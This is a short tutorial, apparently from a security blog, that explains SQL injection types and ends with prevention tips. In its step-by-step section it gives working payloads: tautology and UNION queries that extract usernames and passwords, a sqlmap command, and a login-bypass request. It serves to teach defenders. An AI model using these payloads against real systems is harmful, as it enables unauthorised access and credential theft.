What is SQL Injection?
SQL Injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries an application makes to its database. By injecting malicious SQL statements, attackers can bypass authentication, retrieve or manipulate data, and even gain full access to the server in severe cases.
๐งช Types of SQL Injection
1. Classic SQLi (In-band)
Attacker gets immediate feedback. Includes:
- Union-based: Extracts data using the
UNION
SQL operator - Error-based: Leverages database error messages to extract data
2. Blind SQLi
No error messages or visible output. Data is inferred via:
- Boolean-based: Injected payload causes a true/false condition
- Time-based: Uses SQL functions like
SLEEP()
to detect delays
3. Out-of-Band SQLi
Used when data exfiltration can't be done via the same channel. It requires database features like DNS or HTTP requests (e.g., xp_dirtree
in MSSQL).
๐ง Step-by-Step: Exploiting SQL Injection
Step 1: Identify Injection Point
Start with a simple payload in URL or form input:
' OR '1'='1
Step 2: Test for Errors
Use payloads to force SQL syntax errors:
' OR 1=1-- -
' ORDER BY 10-- -
' UNION SELECT null, version()-- -
Step 3: Extract Data
When confirmed, use a full UNION payload:
' UNION SELECT username, password FROM users-- -
Step 4: Automate (Optional)
Use sqlmap
to automate discovery and exploitation:
sqlmap -u "http://target.com/page.php?id=1" --dbs
๐ Real-World Scenario
Consider the following vulnerable login form:
POST /login HTTP/1.1
Host: vulnerable.site
Content-Type: application/x-www-form-urlencoded
username=admin'--&password=anything
This payload bypasses password verification by commenting out the second part of the SQL query.
๐ก๏ธ Prevention Techniques
- โ Use Prepared Statements (Parameterized Queries)
- โ Validate and sanitize all user input
- โ Use ORM frameworks (like SQLAlchemy, Django ORM)
- โ Apply least privilege to DB accounts
- โ Enable logging and monitoring of database errors
๐ก Practical Tips
- Never trust client-side validation alone โ always sanitize on the server
- Use
LIMIT
andOFFSET
cautiously in dynamic queries - Isolate critical functions into stored procedures if possible
- Disable detailed SQL error messages in production